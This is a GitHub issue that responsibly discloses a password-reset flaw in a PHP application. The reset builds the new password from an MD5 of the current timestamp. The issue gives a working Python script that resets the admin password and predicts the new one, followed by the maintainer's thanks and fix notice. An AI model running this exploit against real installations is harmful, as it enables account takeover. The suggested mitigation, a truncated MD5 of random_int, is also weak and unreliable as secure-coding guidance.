Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authentication Bypass via reset.php #122

Closed
AbhishekHerle opened this issue May 2, 2020 · 1 comment
Closed

Authentication Bypass via reset.php #122

AbhishekHerle opened this issue May 2, 2020 · 1 comment
Assignees

Comments

@AbhishekHerle
Copy link

Summary:

reset.php handles “resetting”/changing an existing user’s password. The reset functionality uses PHP’s time() to derive the new password for the user that is attempting to change their password. This method of using time() to create a temporary password is very deterministic and allows an attacker to invoke the reset password functionality and reliably determine what the new password is, thus allowing for an account takeover.

File Affected: reset.php

Vulnerability Details:

  1. Below is an overview of the logic used by reset.php to change a user’s password.
    overall_logic

  2. In red is the SQL statement is used to determine the existence of a user.

    SELECT first_name, last_name, username, email_address FROM users WHERE (username = :username OR email_address = :email_address) AND active = '1'

    A user’s password is changed only if the above statement returns a non-empty result set. As we can see, the above SQL statement results in a row being returned if either the username or the email address exists in the database. Hence, an attacker will able to invoke a change of password (in green) as long the attacker knows a valid username.

  3. Once, the user’s username (email ID) is validated, the application proceeds to change the password of the user (in green). A new/temporary password is created for the user by using the first 8 characters of the MD5 hash of the current Unix timestamp.

    $new_password = substr(md5(time()), 0, 8);

    An SQL statement is then used to update the user with the new password.

  4. The problem with the aforementioned logic is that It is very easy for an attacker to determine the new password as the result of the time() is very deterministic and not random. Hence, this vulnerability can be exploited to change the password of a user and then reliably determine the new password. The credentials can then be used to login to the application.

    As, admin is a default user on the application, this vulnerability can be used to change the admin password and consequently login to the application as the said admin user.

Exploit:

The following python script can be used to reset/change a user’s password and subsequently determine the new password.

import time
import math
import requests
import hashlib

RESET_URL = "http://SERVER_IP/path_to_domainmod_application/reset.php?user_identifier={}"

def reset_password(username='admin'):
    
    seed_1 = str(math.floor(time.time())).encode('ascii')
    r = requests.get(RESET_URL.format(username))
    # Time is measured immediately after issuing the rest request just to handle edge cases of the 
    # timestamp changing in between the first-time measure and the reset request 
    seed_2 = str(math.floor(time.time())).encode('ascii')

    password_1 = hashlib.md5(seed_1).hexdigest()
    password_2 = hashlib.md5(seed_2).hexdigest()

    print(password_1[:8]) 
    print(password_2[:8])

reset_password()
  1. Successful login using admin:Hacker!234
    original_valid_login
  2. Resetting the password using the above exploit code
  3. Unsuccessful login using admin:Hacker!234
    incorrect_login
  4. Successful login using newly obtained credentials admin:e65edd7b
    new_valid_login

Mitigation:

One suggestion is to use a cryptographically secure random number as the seed to the md5() instead of time().

$new_password = substr(md5(random_int(0, time())), 0, 8);

@chetcuti
Copy link
Member

chetcuti commented May 3, 2020

Thank you so much for the report! Especially one so detailed!

This issue has been resolved in the development branch (change 1, change 2), and it's going to be included in a new version that's being released in the next couple weeks.

Thanks again for the report, it's genuinely appreciated!

@chetcuti chetcuti closed this as completed May 3, 2020
@chetcuti chetcuti self-assigned this May 3, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants